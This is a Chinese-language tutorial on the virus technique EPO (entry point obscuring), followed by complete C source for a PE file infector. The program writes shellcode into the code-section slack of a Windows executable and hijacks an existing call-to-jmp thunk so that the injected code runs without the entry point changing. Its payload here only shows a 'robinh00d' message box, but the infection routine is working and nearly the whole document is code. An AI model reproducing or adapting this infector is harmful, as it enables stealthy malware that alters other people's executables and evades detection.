什麼是EPO?
EPO是EntryPoint Obscuring技術的簡寫,意即入口模糊技術,該技術改變了傳統的修改PE
頭部的入口點,使其指向病毒代碼入口而使你的代碼得以執行的典型方法。
- /*
- 要插入的反彙編代碼thunk code:
- 00401006 . 60 PUSHAD
- 00401007 . 9C PUSHFD
- 00401008 . E8 00000000 CALL msg.0040100D
- 0040100D $ 5B POP EBX
- 0040100E . 81EB 0D104000 SUB EBX,msg.0040100D
- 00401014 . 6A 00 PUSH 0
- 00401016 . 8D83 30104000 LEA EAX,DWORD PTR DS:[EBX+401030]
- 0040101C . 50 PUSH EAX
- 0040101D . 50 PUSH EAX
- 0040101E . 6A 00 PUSH 0
- 00401020 . B8 78563412 MOV EAX,12345678 ;這裏感染前會被替換成正確的MessageBoxA的地址
- 00401025 . FFD0 CALL EAX
- 00401027 . 9D POPFD
- 00401028 . 61 POPAD
- 00401029 . FF25 3A104000 JMP DWORD PTR DS:[40103A] ;跳到API
- 0040102F 90 NOP
- 00401030 . 72 6F 62 69 6E 68 3>ASCII "robinh00d",0
- */
- #include <windows.h>
- #include <stdio.h>
- #pragma comment(lib,"kernel32.lib")
- #pragma comment(lib,"user32.lib")
- char szHostFile[] = "c:\\hello.exe" ;
- PIMAGE_DOS_HEADER pImageDosHeader ;
- PIMAGE_NT_HEADERS pImageNtHeaders ;
- PIMAGE_SECTION_HEADER pImageSectionHeader ;
- unsigned char thunkcode[] = "\x60\x9c\xe8\x00\x00\x00\x00\x5b"
- "\x81\xeb\x0d\x10\x40\x00\x6a\x00"
- "\x8d\x83\x30\x10\x40\x00\x50\x50"
- "\x6a\x00\xb8\x78\x56\x34\x12\xff"
- "\xd0\x9d\x61\xff\x25\x3a\x10\x40"
- "\x00\x90\x72\x6f\x62\x69\x6e\x68"
- "\x30\x30\x64\x00" ;
- int main()
- {
- HANDLE hFile ;
- HANDLE hMap ;
- LPVOID pMapping ;
- int dwGapSize ;
- unsigned char *pGapEntry ;
- int i ;
- PROC MsgBox ;
- DWORD OldEntry ;
- int x = 0x18 ;
- int vir_len ;
- unsigned char *pSearch ;
- DWORD *dwCallNextAddr ;
- DWORD *dwCallDataAddr ;
- DWORD dwCodeDistance ;
- DWORD *dwJmpAddr ;
- DWORD dwJmpData ;
- DWORD dwJmpVA ;
- //:::
- hFile = CreateFile(szHostFile,
- GENERIC_READ | GENERIC_WRITE,
- FILE_SHARE_READ | FILE_SHARE_WRITE,
- NULL,
- OPEN_EXISTING,
- FILE_ATTRIBUTE_NORMAL,
- NULL) ;
- if (hFile==INVALID_HANDLE_VALUE)
- {
- printf("Open host file failed!\n") ;
- return -1 ;
- }
- hMap = CreateFileMapping(hFile,
- NULL,
- PAGE_READWRITE,
- 0,
- 0,
- NULL) ;
- if (!hMap)
- {
- printf("Create file mapping falied!\n") ;
- return -1 ;
- }
- pMapping = MapViewOfFile(hMap,
- FILE_MAP_ALL_ACCESS,
- 0,
- 0,
- 0) ;
- if (!pMapping)
- {
- printf("Map view of file failed!\n") ;
- return -1 ;
- }
- //::::::打開目標宿主文件,先檢測文件是否PE格式,定位到代碼的末尾
- pImageDosHeader = (PIMAGE_DOS_HEADER)pMapping ;
- if (pImageDosHeader->e_magic==IMAGE_DOS_SIGNATURE)
- {
- pImageNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)pMapping+pImageDosHeader->e_lfanew) ;
- if (pImageNtHeaders->Signature==IMAGE_NT_SIGNATURE)
- {
- //:::是合法的PE文件
- //:::定位到節表頭
- pImageSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pMapping+
- pImageDosHeader->e_lfanew+
- sizeof(IMAGE_NT_HEADERS)) ;
- //:::計算第一個節的空隙大小
- dwGapSize = (int)pImageSectionHeader->SizeOfRawData - pImageSectionHeader->Misc.VirtualSize ;
- //:::如果代碼縫隙小於thunk code的大小則感染失敗
- if ((int)sizeof(thunkcode)>(int)dwGapSize)
- {
- printf("no more space to fill!\n") ;
- goto Close ;
- }
- //:::定位到代碼末尾
- pGapEntry = (unsigned char *)(pImageSectionHeader->PointerToRawData+
- (DWORD)pMapping+
- pImageSectionHeader->Misc.VirtualSize) ;
- OldEntry = pImageNtHeaders->OptionalHeader.ImageBase+
- pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;
- MsgBox = (PROC)GetProcAddress(LoadLibrary("user32.dll"),"MessageBoxA") ;
- //修改爲當前系統的MessageBoxA地址
- for (i=3;i>=0;i--)
- {
- thunkcode[i+27] = ((unsigned int)MsgBox>>x)&0xff ;
- x -= 8 ;
- }
- x = 24 ;
- vir_len = (int)pImageSectionHeader->Misc.VirtualSize ;
- pSearch = (unsigned char *)(pImageSectionHeader->PointerToRawData+
- (DWORD)pMapping) ;
- //:::搜索call指令(0xe8)
- for (i=0;i<vir_len;i++)
- {
- if (pSearch[i]==0xe8)
- {
- //:::call指令操作數地址
- dwCallDataAddr = (DWORD *)(&pSearch[i]+1) ;
- //:::call下條指令地址
- dwCallNextAddr=(DWORD *)(&pSearch[i]+5) ;
- //:::jmp指令地址
- dwJmpAddr = (DWORD *)(*dwCallDataAddr+ (DWORD)dwCallNextAddr) ;
- //:::Jmp指令在內存的虛擬地址VA
- dwJmpVA = (DWORD)dwJmpAddr-
- ((DWORD)pMapping+pImageSectionHeader->PointerToRawData)+
- pImageNtHeaders->OptionalHeader.ImageBase+
- pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;
- //:::取jmp操作數,返回的時候使用
- dwJmpData = *((DWORD *)((unsigned char *)dwJmpAddr+2)) ;
- if ((*dwJmpAddr&0xffff)==0x25ff)
- {
- //:::修改call操作數
- dwCodeDistance = (DWORD)pGapEntry - (DWORD)dwCallNextAddr ;
- *dwCallDataAddr = dwCodeDistance ;
- //:::原jmp裏的操作數,替換到thunk code的末尾
- for (i=3;i>=0;i--)
- {
- thunkcode[i+37] = ((unsigned int)dwJmpData>>x)&0xff ;
- x -= 8 ;
- }
- //把thunk code寫入目標宿主程序
- for (i=0;i<sizeof(thunkcode);i++)
- {
- pGapEntry[i] = thunkcode[i] ;
- }
- break ;
- }
- }
- }
- }
- }
- else
- {
- printf("Invalid file format!\n") ;
- }
- Close:
- UnmapViewOfFile(pMapping) ;
- CloseHandle(hMap) ;
- CloseHandle(hFile) ;
- return 0 ;
- }